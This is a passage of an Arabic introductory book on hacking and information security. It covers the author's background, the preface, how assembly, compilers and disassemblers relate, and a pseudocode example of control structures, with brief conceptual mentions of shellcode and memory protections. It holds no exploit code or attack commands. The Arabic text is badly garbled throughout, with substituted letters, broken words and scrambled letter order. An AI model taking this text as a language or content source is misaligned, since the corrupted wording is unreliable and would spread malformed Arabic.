    [9] About the Author ‫املشد‬‫أمحد‬ ُ ‫أحببت‬ ‫ذ‬ُ‫م‬ ‫الكمبيوتر‬ ‫ُن‬‫ك‬ ُ ‫ت‬ ‫مع‬ ‫يل‬ُ‫م‬‫َعا‬‫ت‬ ‫أثناء‬ ‫عادة‬ َ ‫بالس‬ ‫ر‬ُ‫ع‬‫أش‬ ‫نفيس‬ ُ ‫ت‬‫وجد‬ ‫ندما‬‫ع‬ ‫ذلك‬ ُ ‫كت‬َ‫أدر‬ ،ً‫ا‬‫صغري‬ ‫التصميم‬ ‫برامج‬ ‫والتطوير‬ ‫املختلفة‬ .. ُ‫ث‬ ‫عندم‬ ‫أكثر‬ ‫ق‬ُّ‫م‬َ‫ع‬َ‫ت‬‫بال‬ ‫بدأت‬ ‫م‬ ‫ا‬ ‫وأمن‬ ،‫بالشبكات‬ ‫ألذتم‬ ‫ت‬ ُ ‫َرب‬‫ك‬ .‫التشغيل‬ ‫وأنظمة‬ ،‫املعلومات‬ ‫ين‬ ّ ُ ‫ُس‬َ‫ي‬ ‫ال‬ ُ ‫تواص‬ ‫ل‬ ‫مع‬ ‫كم‬ .. a.almashad@gmail.com Acknowledgement ‫أ‬ ‫بدأ‬ ‫ب‬ ُ ‫ش‬ ‫ك‬ ‫ر‬ ‫ا‬ ،‫ة‬َ‫ديد‬َ‫ع‬‫ال‬ ‫ه‬‫م‬َ‫ع‬‫ن‬ ‫عىل‬ ‫َعاىل‬‫ت‬ ‫هلل‬ ‫وعائلتي‬ ‫و‬ ،‫وأصدقائي‬ .ُ‫ه‬‫ن‬‫م‬ ُ ‫مت‬ّ‫ل‬َ‫ع‬َ‫ت‬ ‫ن‬َ‫م‬ ‫ُل‬‫ك‬ ‫السيد‬ ‫أشكر‬ ‫أن‬ ُ ‫ب‬‫وأح‬ Jon Erickson ، ‫الك‬‫المت‬ ‫ه‬ ‫قريد‬ ‫ة‬َ‫ب‬‫وذ‬َ‫م‬ :‫هري‬ َ ‫الش‬ ‫تابه‬‫ك‬ ‫يف‬ ‫ت‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ،!‫ة‬ “Hacking, The art of exploitation” .. ‫القتباس‬ ‫مادقعني‬ ‫األ‬ ‫بعض‬ ‫الربجمية‬ ‫كواد‬ ُ‫ه‬‫من‬ ‫ألقوم‬ ‫كتايب‬ ‫يف‬ ‫ورشحها‬ ‫بتحليلها‬ ، ‫عض‬َ‫ب‬‫ب‬ ‫استعنت‬ ‫َام‬‫ك‬ ‫املؤلفات‬ ‫طرى‬ُ‫أل‬‫ا‬ .‫جال‬َ‫مل‬‫ا‬ ‫ذا‬‫ِب‬ ‫صني‬ ِّ ‫تخص‬ُ‫مل‬‫ا‬ ‫دونات‬ُ‫م‬‫و‬ ‫أنه‬ ‫املعلوم‬ ‫من‬ ‫ل‬ ‫ن‬ ‫م‬ّ‫ل‬‫َع‬‫ت‬ ‫م‬ُ‫أل‬‫ا‬ ‫نا‬‫ت‬َ‫غ‬ُ‫ل‬‫ب‬ ‫لوم‬ُ‫ع‬‫ال‬ ‫نا‬ ، َ‫ن‬ ‫ا‬‫مل‬ ً‫ام‬‫ه‬َ‫ق‬َ‫و‬ ً‫ة‬‫قو‬ ‫أشد‬ ‫نكون‬ َ ‫س‬ ‫لىل‬ ‫طر‬‫َض‬‫ن‬ ‫كننا‬‫ل‬ ،!‫لنسانية‬ ‫بيعة‬َ‫ط‬ ‫هذه‬َ‫ق‬ ،‫َلقاه‬‫ت‬ ‫ا‬ ..‫لدينا‬ ‫وارد‬َ‫مل‬‫ا‬ ‫لفقر‬ ‫األجنبية‬ ‫باللغات‬ ‫لتعلم‬ ‫أن‬ ‫أمتنى‬ ‫ذا‬‫وهل‬ ُ‫ن‬ ‫ساذ‬ ‫م‬ ‫د‬ّ‫ي‬‫ج‬ ‫بمنهجية‬ ،‫العربية‬ ‫لغتنا‬‫ب‬ ‫لوم‬ُ‫ع‬‫ال‬ ‫لثراء‬ ‫يف‬ ‫ة‬ .‫ط‬‫بس‬ُ‫م‬ ‫سلوب‬ُ‫أ‬‫و‬
  • 10.
    [10] What you needfor this book ‫أس‬‫ب‬ ‫راية‬‫د‬ ‫عىل‬ َ ‫أنك‬ ‫ض‬ َ ‫فرت‬َ‫ي‬ ‫الكتاب‬ ‫ذذا‬ ‫ُمبيوتر‬‫ك‬‫ال‬ ‫اسيات‬ ‫العام‬ ‫ة‬ ‫األساسي‬ ‫فاذيم‬َ‫مل‬‫وبا‬ ، ‫ة‬ ‫ر‬ِّ‫ق‬‫تو‬ُ‫مل‬‫كا‬ ،‫للشبكات‬ ‫ة‬ ‫ج‬َ‫نه‬َ‫م‬ ‫يف‬ ‫شهادة‬ “Network+” َ‫ق‬‫عر‬َ‫مل‬‫ا‬ ‫وبعض‬ ، ‫ة‬ َ ‫ثل‬‫م‬ ‫التشغيل‬ ‫ة‬َ‫م‬‫بأنظ‬ Windows ‫و‬ Linux . Preface ‫يف‬ ‫ذذا‬ ‫الكتاب‬ ‫ن‬ ‫قوم‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫القرصنة‬ ‫و‬ ،‫املعلومات‬ ‫وأمن‬ ‫اإللكرتونية‬ ‫حتى‬ ‫رشح‬ ‫من‬ ‫نتمكن‬ ‫قلس‬ ‫فة‬ ‫اإل‬ ‫واألنظمة‬ ‫البيانات‬ ‫تأمني‬ ‫أو‬ ‫طرتاق‬ ‫بحاج‬ ‫قنحن‬ ، ‫ة‬ ‫أمور‬ ‫بعدة‬ ‫لإلملام‬ ‫حتضريية‬ ، ‫ب‬ ‫تبدأ‬ ‫معرقة‬ ‫ال‬ Computer Architecture ‫التشغيل‬ ‫وأنظمة‬ Windows) ‫و‬ (Linux ، ‫و‬ ‫ا‬ ‫لربوتوكوالت‬ ‫اجليد‬ ‫الفهم‬ ‫لشبكات‬ ،‫التشفري‬ ‫وتكنولوجيا‬ ‫الربجمة‬ ‫لغات‬ ‫وبعض‬ َ‫ك‬ ُ‫ل‬ ‫ال‬ ‫غة‬ C ، ‫و‬ Scripting language ‫كا‬ ‫ل‬ Python . ‫يف‬ ‫الكتاب‬ ‫يتدرج‬ ‫تناول‬ ‫األمور‬ ‫ذذه‬ ،‫ذرمي‬ ‫بشكل‬ ‫الربجمة‬ ‫أساسيات‬ ‫بتبسيط‬ ‫يبدأ‬ ‫ال‬ ‫ومبادئ‬ Computer Architecture ،‫للقارئ‬ ،‫األبواب‬ ‫لبقية‬ ‫األساس‬ ‫تعد‬ ‫حيث‬ ‫ثم‬ ‫ينتقل‬ ‫الشبكات‬ ‫علوم‬ ‫لىل‬ ‫و‬ ‫آلية‬ ‫بني‬ ‫البيانات‬ ‫انتقال‬ ‫األنظمة‬ ‫ثم‬ ، ‫ليبدأ‬ ‫أكثر‬ ‫يتعمق‬ ‫ب‬ ‫رشح‬ ‫وحتليل‬ ‫اإلطرت‬ ‫آليات‬ ‫و‬ ‫اق‬ ‫احلامية‬ ، ‫وخيتم‬ ‫ب‬ ‫التشفري‬ ‫علوم‬ ‫الالزمة‬ ‫لتحقي‬ ‫ق‬ ‫واملوثوقية‬ ‫والسالمة‬ ‫اخلصوصية‬ . ‫ب‬ ‫الكتاب‬ ‫موضوعات‬ ‫لعداد‬ ‫تم‬ ‫عتمدة‬ُ‫م‬ ‫تكون‬ ‫حيث‬ ،‫يل‬ ُ ‫تسلس‬ ‫بشكل‬ ‫بعضها‬ ‫عىل‬ ‫لكن‬ ‫بإمكانك‬ ‫كام‬ ‫التنقل‬ ‫داطل‬ ‫تشاء‬ ‫كنت‬ ‫لذا‬ ‫الكتاب‬ ‫املطلوبة‬ ‫باألساسيات‬ ً‫ام‬‫ل‬ُ‫م‬ .
  • 11.
  • 12.
  • 13.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [13] Introduction ‫أحد‬ ‫عن‬ ‫عبارة‬ ..‫أعجبتني‬ ‫بمقولة‬ ‫أبدأ‬ ‫أن‬ ُ ‫حب‬ُ‫أ‬ ‫ال‬ ‫مفهوم‬ ‫ح‬ِّ‫ُصح‬‫ت‬ ‫التي‬ ‫التعريفات‬ ‫قرصنة‬ !‫الكثري‬ ‫عند‬ : “Hacker is a term for both those who write code, and those who exploit it!” َ‫ت‬‫ال‬ ‫يف‬ ‫التكنيك‬ ‫نفس‬ ‫لدهيم‬ ‫النهاية‬ ‫يف‬ ‫أهنم‬ ‫لال‬ ‫منهم‬ ‫كل‬ ‫أذداف‬ ‫اطتالف‬ ‫من‬ ‫الرغم‬ ‫عىل‬ ُّ‫ل‬‫غ‬ ُ‫ه‬‫ألن‬ ،!‫ل‬‫شاك‬َ‫مل‬‫ا‬ ‫عىل‬ ‫ب‬ ‫ببساط‬ ‫ة‬ َ ‫جم‬ َ ‫الرب‬ ‫م‬‫ه‬َ‫ق‬ .. ‫ة‬ ‫اكت‬ ‫عىل‬ ُ‫ه‬‫ساعد‬ُ‫ي‬ ،‫األنظمة‬ ‫عىل‬ ‫ل‬ُ‫ي‬‫التحا‬ ‫ريد‬ُ‫ي‬ ‫ن‬‫مل‬ ‫هم‬ُ‫م‬ ‫الربجمي‬ ‫األططاء‬ ‫شاف‬ ‫ة‬ ،‫األمنية‬ ‫والثغرات‬ ‫اآلطر‬ ‫اجلانب‬ ‫وعىل‬ .. ‫م‬ِّ‫صم‬ُ‫م‬ ‫أو‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫سينفع‬ )‫الربجمي‬ ‫اخلطأ‬ ‫أو‬ ‫نفسها‬ ‫(الثغرة‬ ‫االطرتاق‬ ‫ذذا‬ ‫حدوث‬ ‫لسبب‬ ‫الفهم‬ ‫ا‬ ‫يتفح‬ ‫حتى‬ ‫أكثر‬ ُ‫ه‬ُ‫علم‬ُ‫ي‬ َ ‫وس‬ ‫األمني‬ ‫لنظام‬ ‫األجهز‬ ‫لعدادات‬ ‫و‬ ‫أكواده‬ ‫ص‬ ‫ة‬ ‫لديه‬ ‫أن‬ ‫وبام‬ . َ ‫جم‬ َ ‫الرب‬ ‫م‬‫ه‬َ‫ق‬ ‫ة‬ ‫األسايس‬ ‫ط‬ َ ‫الرش‬ ‫و‬ُ‫ذ‬ َ‫ت‬ ‫حتى‬ ‫التي‬ ‫األساسيات‬ ‫عض‬َ‫ب‬‫ل‬ ‫ط‬ ّ‫س‬َ‫ب‬ُ‫م‬ ‫ح‬ َ ‫رش‬‫ب‬ ‫نبدأ‬ َ ‫سوف‬َ‫ق‬ ،‫الربوتوكوالت‬َ‫و‬ ‫األنظمة‬ َ‫ني‬َ‫ب‬ ‫األمور‬ ‫َسري‬‫ت‬ َ ‫َيف‬‫ك‬ ‫م‬َ‫فه‬ ‫بغ‬ ‫تحتاجها‬ َ ‫س‬ َ ‫ُنت‬‫ك‬ ‫ما‬ ‫عن‬ ‫النظر‬ ‫ض‬ ‫الربجم‬ ‫ب‬ ُ ‫حت‬ ‫ة‬ .!‫ال‬ ‫أم‬ ..‫رحلتنا‬ ‫لنبدأ‬ ‫ذيا‬ ‫الربنامج‬ ‫بار‬‫ع‬ ‫ذو‬ ‫ة‬ ‫جمموع‬ ‫عن‬ ‫ة‬ ‫كتوب‬َ‫م‬ ‫ل‬َ‫م‬ُ‫جل‬‫ا‬ ‫أو‬ ‫ر‬ُ‫ط‬‫األس‬ ‫من‬ ‫ة‬ ‫غ‬ُ‫ل‬‫ب‬ ‫ة‬ ‫عين‬ُ‫م‬ ‫ة‬ ‫قهناك‬ !‫قحسب‬ ‫الربامج‬ ‫ليست‬ ‫الواقع‬ ‫يف‬ ، ‫كثرية‬ ‫أمور‬ ‫عىل‬ ‫مبنية‬ ‫حولنا‬ ‫مفهوم‬ ‫الربجم‬ ‫ة‬ ‫للسيار‬ ‫قيادتك‬ ً‫ال‬‫مث‬ ، ‫ة‬ َ َ ‫ربجم‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫ن‬‫م‬ ‫ُعد‬‫ت‬ ‫ة‬ ً ‫وذلك‬ ً‫ا‬‫ق‬َ‫ب‬‫س‬ُ‫م‬ ‫باتباع‬ ‫خلطوات‬ ‫ك‬ َ‫د‬‫د‬َ ُ ‫حم‬ ‫ة‬ ‫ياد‬‫الق‬ ‫ند‬‫ع‬ ‫ة‬ ‫الطبخ‬ ‫وصفات‬ ً‫ا‬‫أيض‬ ، ‫القدم‬ ‫ُرة‬‫ك‬ ‫رياضة‬ ً‫ا‬‫وأطري‬ ، ، ‫اهلدف‬ ‫قيها‬ ‫يتحقق‬ ‫جمموعة‬ ‫بحدوث‬ ‫من‬ ‫اإلحتامالت‬ ‫تنتهي‬ ، ‫بوضع‬ ‫ُر‬‫ك‬‫ال‬ ‫ة‬ ‫الشبك‬ ‫داطل‬ ‫ة‬ . ‫تاز‬ ُ ‫ُم‬ ‫ذذا‬ ! .. ‫ا‬ ‫لىل‬ ‫نعود‬‫ل‬ ‫لكمبيوتر‬ ..
  • 14.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [14] ‫أنه‬ ‫البدهيي‬ ‫من‬ ‫أن‬ ‫قعلينا‬ ‫ما‬ ‫بيشء‬ ‫يقوم‬ ‫الكمبيوتر‬ ‫نجعل‬ ‫كي‬ ‫ال‬ ُ‫ه‬‫ل‬ ‫نكتب‬ Instructions ‫ب‬ ‫يفهمها‬ ‫لغة‬ ‫وذي‬ ، ‫ال‬ Machine Language ، ‫الفهم‬ ‫صعبة‬ ‫لكنها‬ ! .. ‫عبار‬ ‫ألهنا‬ ‫ة‬ ‫عن‬ Bits, and Bytes ‫من‬ ‫وختتلف‬ Architecture .‫آلطر‬ ‫بال‬ ‫الكتابه‬ ‫أزمة‬ ‫عىل‬ ‫نتغلب‬ ‫ولكي‬ Machine Language ‫ال‬ ‫لنا‬ ‫ظهر‬ Assembler ‫بار‬‫ع‬ ‫وذو‬ ‫ة‬ ‫ن‬َ‫ع‬ Translator ‫ال‬ ‫مجة‬ َ ‫رت‬‫ب‬ ‫يقوم‬ Assembly Instructions ‫ال‬ ‫اىل‬ Machine Language . ‫ُعد‬‫ت‬ ‫ال‬ ‫غة‬ُ‫ل‬ Assembly ‫أبسط‬ ‫ن‬‫م‬ ‫ال‬ Machine ، ‫هي‬َ‫ق‬ ‫مفهوم‬ ‫وعناوين‬ ‫امت‬‫َل‬‫ك‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬ ‫ة‬ ‫ال‬ ‫كس‬َ‫ع‬‫ب‬ Machine ‫تتشابه‬ ‫لكنها‬ .!‫ققط‬ ‫أرقام‬ ‫من‬ ‫تتكون‬ ‫التي‬ ‫مع‬ ‫ال‬ Machine ‫ال‬ ‫نوع‬ ‫باطتالف‬ ً‫ا‬‫أيض‬ ‫ختتلف‬ ‫أهنا‬ ‫يف‬ Architecture . ‫ن‬‫ق‬ َ‫ر‬َ‫ع‬ ‫حاج‬‫ب‬ ‫أننا‬ ‫ا‬ ‫ة‬ ‫لىل‬ Translator ‫ال‬ ‫من‬ ‫للتحويل‬ Assembly ‫ال‬ ‫لىل‬ Machine Language ، ‫اللغ‬ ‫وذي‬ ‫ة‬ ‫التي‬ ‫ال‬ ‫يستطيع‬ CPU ‫بال‬ ‫األكواد‬ ‫ُب‬‫ت‬‫سنك‬ ‫ذل‬ ‫واآلن‬ ..‫ها‬َ‫م‬َ‫فه‬َ‫ي‬ ‫أن‬ Assembly ،‫؟‬ ،!ً‫ا‬‫أيض‬ ً‫ا‬‫صعب‬ ‫األمر‬ ‫كون‬َ‫ي‬ َ ‫س‬ ُ‫ن‬‫َح‬‫ن‬ ‫حاج‬‫ب‬ ‫ة‬ ‫لىل‬ Translator ‫م‬ ‫ه‬ُ‫ب‬ُ‫ت‬‫َك‬‫ن‬ ‫ما‬ ‫نا‬َ‫ل‬ ‫رتجم‬ُ‫ي‬‫ل‬ ‫آطر‬ ‫نوع‬ ‫ن‬‫م‬ ‫ال‬ ‫غات‬ُ‫ل‬ ‫ثل‬‫م‬ ‫بلغات‬ ‫أكواد‬ ‫ن‬ C, C++ ‫ال‬ ‫لىل‬ Machine Language ‫ال‬ ‫سيكون‬ ‫نا‬ُ‫ذ‬.. ، Translator ‫ال‬ ‫ذو‬ Compiler . ‫ال‬ ‫يقوم‬ ..ً‫ا‬‫لذ‬ Compiler ‫ال‬ ‫بلغة‬ ‫األكواد‬ ‫برتمجة‬ C ‫ال‬ ‫نوع‬ ‫عىل‬ ً‫ء‬‫وبنا‬ ‫اآلله‬ ‫غة‬ُ‫ل‬ ‫لىل‬ Processor Architecture ‫بال‬ ‫ربجمني‬ُ‫مل‬‫ا‬ ‫اذتامم‬ ِّ ‫فُس‬ُ‫ي‬‫ما‬ ‫وذذا‬ ،‫املوجود‬ Source Code ‫ال‬ ‫ولكن‬ ،!‫الربنامج‬ ‫لنجاح‬ ‫األساس‬ ‫ألنه‬ Hacker ‫نا‬ُ‫ذ‬ ‫ال‬ ‫أن‬ ‫عي‬َ‫ي‬ Compiled Program ‫سيتعامل‬ ‫الذي‬ ‫ذو‬ ‫املطاف‬ ‫هناية‬ ‫يف‬ ‫ال‬ ‫مع‬ CPU ، ‫تعامل‬ ‫لكيفية‬ ‫اجليد‬ ‫بالفحص‬ ‫و‬ ‫ال‬ CPU ‫وال‬ Memory ‫اكتشاف‬ ‫من‬ ‫يتمكن‬ ‫بام‬ُ‫ر‬ ،‫الربنامج‬ ‫ذذا‬ ‫مع‬ ‫ثغرة‬ ‫ال‬ ‫أو‬ ‫الربنامج‬ ‫يف‬ Application ُ‫مت‬ ‫حينها‬ ُ‫ه‬‫ن‬‫ك‬ ‫لحداث‬ ‫من‬ crash ‫ال‬ ‫ذذا‬ ‫يقوده‬ ‫وربام‬ ،‫له‬ crash ‫ال‬ ‫توجيه‬ ‫حماولة‬ ‫لىل‬ execution flow ‫أطرى‬ ‫ألماكن‬ ‫داطل‬ ‫ال‬ memory ‫ال‬ ‫من‬ ‫جمموعة‬ ‫ِبا‬ ‫يضع‬ ‫حيث‬ instructions ‫ُسميها‬‫ن‬ shellcode ‫ال‬ ‫ليقوم‬ ، CPU ‫استكامل‬ ‫من‬ ً‫ال‬‫بد‬ ‫بتنفيذذا‬ .!‫الربنامج‬ ‫تنفيذ‬
  • 15.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [15] ‫ذذا‬ ‫عىل‬ ‫يؤكد‬ ‫األمر‬ ‫السيد‬ " Dave Aitel " ‫بار‬‫الع‬ ‫ه‬‫ذ‬َ‫ِب‬ ‫ة‬ : “Hacking is not reverse engineering!, your goal is not to come up with original source code for the application!, your goal is to have a greater understanding of the program or system than the people who built it”. ‫تطوي‬ ‫تم‬ ‫تقنيات‬ ‫ر‬ ‫ملنع‬ ‫أمنية‬ ‫او‬ ُ ‫حم‬ ‫ذه‬َ‫ذ‬ ‫ب‬ُ‫ع‬‫َال‬‫ت‬‫ال‬ ‫الت‬ ‫نها‬‫م‬ ، SafeSEH ‫وال‬ ، Nonexecutable Stack ‫ال‬ ‫أو‬ Randomized Stack Space ، ‫و‬ ‫قامت‬ ‫مايكروسوقت‬ ‫شهرية‬ ‫تقنية‬ ‫بتطوير‬ .. ‫ذي‬ “DEP” ، ‫التقنيات‬ ‫من‬ ‫وغريذا‬ ‫يف‬ ً‫ا‬‫الحق‬ ‫ناقشتها‬ُ‫م‬ ‫جري‬َ‫ي‬‫س‬ ‫التي‬ ‫األمنية‬ ‫الثالث‬ ‫الباب‬ .‫اهلل‬ ‫بإذن‬ ..!‫رائع‬ ‫ذذا‬ ‫ال‬ ‫ة‬َ‫غ‬ُ‫ل‬ ‫ن‬‫م‬ ‫َستفيد‬‫ن‬ َ ‫س‬ ‫ماذا‬ ‫ولكن‬ Assembly .. ‫؟‬ ، ‫ال‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬ َ ‫س‬ ‫ققط‬ ‫ُنا‬‫ك‬ ‫لذا‬ Compiler ‫لىل‬ ‫ُريد‬‫ن‬‫ما‬ ‫ة‬َ َ ‫رتمج‬‫ل‬ ‫ال‬ Machine Language .!‫األمر‬ ‫وينتهي‬ ‫ة‬َ‫غ‬ُ‫ل‬‫ل‬ ‫اخلصائص‬ ‫بعض‬ ‫أوضح‬ ‫دعني‬ ‫ولكن‬ ،‫منطقي‬ ‫ذذا‬ ..‫نعم‬ ‫ال‬ Assembly ‫وا‬ ‫أمهيتها‬ ‫ك‬َ‫وحد‬ ‫َعي‬‫ت‬ ‫َجعلك‬‫ت‬ َ ‫س‬ ‫لتي‬ .  ‫ال‬ Assembly ُ‫ت‬ َ‫ق‬‫ري‬َ‫ط‬ َ ‫عترب‬ ‫ة‬ ‫َخ‬‫ت‬‫يس‬ ‫ال‬ ‫عراض‬‫الست‬ ‫ني‬‫ربجم‬ُ‫مل‬‫ا‬ ‫ها‬ُ‫م‬‫د‬ " Machine Language Instructions " ‫ال‬ ‫لىل‬ ‫لعطاؤذا‬ ‫َم‬‫ت‬ ‫التي‬ CPU .  ‫ال‬ Assembly ‫القة‬َ‫ع‬‫ب‬ ‫تتعامل‬ One-to-One ‫ال‬ ‫مع‬ Machine Language ‫ُل‬‫ك‬‫ل‬ ‫أنه‬ ‫بمعنى‬ ، Instruction ‫ال‬ ‫غة‬ُ‫ل‬‫ب‬ Machine ‫لها‬‫قاب‬ُ‫ي‬ Instruction ‫ال‬ ‫ة‬ُ‫غ‬ُ‫ل‬‫ب‬ Assembly ‫ريق‬َ‫ط‬‫ب‬ ُ‫ه‬‫ح‬‫يوض‬ ‫ة‬ ‫ال‬ ‫تعامل‬َ‫ي‬ َ ‫َيف‬‫ك‬ ‫َفهم‬‫ت‬‫ل‬ ‫أسهل‬ CPU ‫ثال‬‫َم‬‫ك‬‫و‬ ،!‫عليه‬ ‫ل‬َ‫عم‬َ‫ي‬ ‫الذي‬ ‫الربنامج‬ َ‫ع‬َ‫م‬ ‫عل‬‫الف‬‫ب‬ .. " 0xc3 " ‫أو‬ 11000011 ‫اآلل‬ ‫غة‬ُ‫ل‬‫ب‬ ‫ة‬ ‫بال‬ ُ‫ه‬‫قابل‬ُ‫ي‬ Assembly ‫ذذه‬ :‫ة‬َ‫م‬‫َل‬‫ك‬‫ال‬ " ret " ‫عنى‬َ‫م‬‫ب‬ (return) .
  • 16.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [16] ‫األمر؟‬ ‫ذذا‬ ‫ُطبق‬‫ن‬ َ ‫وكيف‬ ‫ى‬ّ‫سم‬ُ‫ي‬ ‫ما‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬ ‫نا‬ُ‫ذ‬ ‫بال‬ Disassembler ‫ال‬ ‫ترمجة‬ ‫بإعادة‬ ‫يقوم‬ ‫والذي‬ Machine Language ‫ال‬ ‫لغة‬ ‫لىل‬ Assembly ‫والتحليل‬ ‫الفهم‬ ‫ل‬ُ‫ه‬‫س‬َ‫ي‬ ‫كي‬ . ‫تأمل‬ ‫معي‬ ‫مغزى‬ ‫لك‬ ‫ستوضح‬ ‫الصورة‬ ‫ذذه‬ ‫األمر‬ .. ‫توضح‬ ‫الصورة‬ ‫ذذه‬ ‫لنا‬ ‫به‬ ‫مايقوم‬ ‫كل‬ ‫من‬ ‫ال‬ malware author ‫بلغه‬ ‫أكواده‬ ‫يكتب‬ ‫حيث‬ ‫ال‬ ‫مثل‬ C ‫ال‬ ‫عمل‬ ‫يرتكز‬ ‫بينام‬ ، malware analyst ‫وتدقيق‬ ‫قحص‬ ‫يف‬ ‫ال‬ instructions ‫ال‬ ‫أو‬ software behavior ‫ال‬ ‫باستخدام‬ Hex Auditors ‫كال‬ IDA Pro .‫وغريذا‬ ‫عىل‬ ‫الرتكيز‬ ‫ذو‬ ‫الشكل‬ ‫ذذا‬ ‫ن‬‫م‬ ُ‫ه‬‫ُريد‬‫ن‬ ‫ما‬ ‫ن‬‫م‬ ٍ‫ُل‬‫ك‬ ‫وظيفة‬ ‫ال‬ Compiler ‫ال‬ ‫و‬ Disassembler . ‫ذ‬ ‫كان‬ ‫والتي‬ ،‫قدمة‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫هاية‬‫ن‬‫ل‬ ‫وصلنا‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬ ‫دقها‬ ‫الربجم‬ ‫أمهية‬ ‫إلدراك‬ ‫حتفيزك‬ ‫ة‬ ..! ‫ذلك؟‬ ‫أدركت‬ ‫ذل‬ ، ..!‫جيد‬ ‫ذيا‬ ‫الربجم‬ ‫أساسيات‬ ‫برشح‬ ‫لنبدأ‬ ً‫ا‬‫لذ‬ ‫ة‬ ‫ال‬ ‫ة‬َ‫غ‬ُ‫ل‬‫ب‬ C .
  • 17.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [17] Control Structures ‫الطبيعي‬ ‫من‬ َ‫موع‬ َ ‫جم‬ ‫ن‬‫م‬ ‫يتكون‬ ‫الربنامج‬ ‫أن‬ ‫ة‬ ‫ال‬ َ‫ن‬‫م‬ Instructions ‫ظهرت‬ ‫لذا‬ ‫العمل‬ ‫ما‬ ‫ولكن‬ ،ً‫ا‬‫باع‬‫ت‬ ‫تنفيذذا‬ ‫يتم‬ ‫التي‬ ‫اخليارات‬ ‫بعض‬ ‫م‬‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫مع‬ ‫التعامل‬ ‫أثناء‬ ‫العقبات‬ ‫أو‬ ‫احليا‬ ‫واقع‬ ‫ن‬‫م‬ ‫ثال‬‫م‬ ‫ب‬‫َرض‬‫ن‬‫ل‬ ‫؟‬ ‫ة‬ ‫للسيار‬ ‫تك‬َ‫د‬‫يا‬‫ق‬ ‫أثناء‬ َ ‫أنت‬ ، ‫ة‬ ، ‫ال‬ ‫تفعيل‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ GPS ‫قيقوم‬ َ‫ه‬‫ج‬‫للو‬ ‫د‬‫د‬َ ُ ‫حم‬ ‫سار‬َ‫م‬ ‫م‬‫س‬ َ‫ر‬‫ب‬ ‫ة‬ ‫الشوارع‬ ‫أحد‬ ‫وجدت‬ ‫أو‬ ‫طاطئ‬ ‫طريق‬ ‫يف‬ َ ‫ت‬‫ِس‬ ‫لذا‬ ‫ولكن‬ ، ‫ال‬ ‫قسيقوم‬ ‫مسدوده‬ GPS ‫ال‬ ‫بتغيري‬ Route ‫ا‬ ‫عىل‬ ‫نس‬ ً‫ا‬‫أيض‬ ُ‫َحن‬‫ن‬ ،!‫لفور‬ َ َ ‫جم‬ َ ‫الرب‬ ‫يف‬ ‫التكنيك‬ ‫نفس‬ ‫م‬‫َخد‬‫ت‬ ‫ة‬ ‫ط‬َ‫خ‬‫ب‬ ‫م‬‫ك‬َ‫َح‬‫ت‬َ‫ن‬َ‫ق‬ ، ‫ال‬ ‫ري‬ َ ‫س‬ Instructions ‫ُق‬‫ن‬ ‫ا‬‫مل‬ ً‫ا‬‫قق‬‫و‬ .‫ف‬‫وق‬َ‫مل‬‫ا‬ ‫يه‬‫قتض‬َ‫ي‬ ‫ا‬‫ومل‬ ‫ه‬‫ر‬ ِّ‫ر‬ ‫ال‬ ‫بعض‬ ‫عن‬ ‫سنتكلم‬ Statements ‫ال‬ ‫بعمل‬ ‫تقوم‬ ‫التي‬ " Control " ‫ام‬ َ ‫للرب‬ ‫السياره‬ ‫قيادة‬ ‫ثال‬‫م‬ ‫َطبيق‬‫ت‬‫ب‬ ‫ج‬ . If-Then-Else ‫دع‬ ‫أن‬ ‫نتصور‬ ‫نا‬ ‫نا‬ ‫ن‬ ‫سري‬ ‫يف‬ ‫رئييس‬ ‫شارع‬ ..  ‫قإن‬ (If) ‫الشارع‬ ‫يف‬ ‫اإلصالحات‬ ‫بعض‬ ‫تواجد‬ َ ‫صادف‬ (Condition) ..  ً‫ا‬‫لذ‬ (Then) ، ‫ال‬ ‫بعض‬ ‫بتنفيذ‬ ‫سنقوم‬ Instructions !‫ق‬‫العائ‬ ‫ذذا‬ ‫تفادي‬‫ل‬ ..  ‫ذلك‬ ‫غري‬ (Else) ، ‫اإلصالحات‬ ‫ف‬‫ُصاد‬‫ت‬ ‫مل‬ ‫طاملا‬ ‫سريك‬ ‫باستكامل‬ ‫م‬ُ‫ق‬ .(Condition) If (condition) then { Set of instructions to execute if the condition is met; } Else { Set of instruction to execute if the condition is not met; }
  • 18.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [18] While/Until Loop ‫أحي‬ ‫جمموع‬ ‫تنفيذ‬ ‫ربمج‬ُ‫مل‬‫ا‬ ‫ريد‬ُ‫ي‬ ً‫ا‬‫ان‬ ‫ة‬ ‫ال‬ ‫من‬ Instructions ‫مر‬ ‫من‬ ‫أكثر‬ ‫ة‬ ،! ‫ال‬ ‫له‬ ‫تضع‬ ‫أن‬ ‫وستحتاج‬ Condition ‫التي‬ ‫س‬ ‫ي‬ ‫التكرار‬ ‫بتنفيذ‬ ‫عليها‬ ً‫ء‬‫بنا‬ ‫قوم‬ . :‫املثال‬ ‫ذذا‬ ‫لنأطذ‬ " ‫لذ‬ ،‫اجلوع‬ ‫أصابك‬ ‫لن‬ ‫التهم‬ ‫ثم‬ ‫الطعام‬ ‫عىل‬ 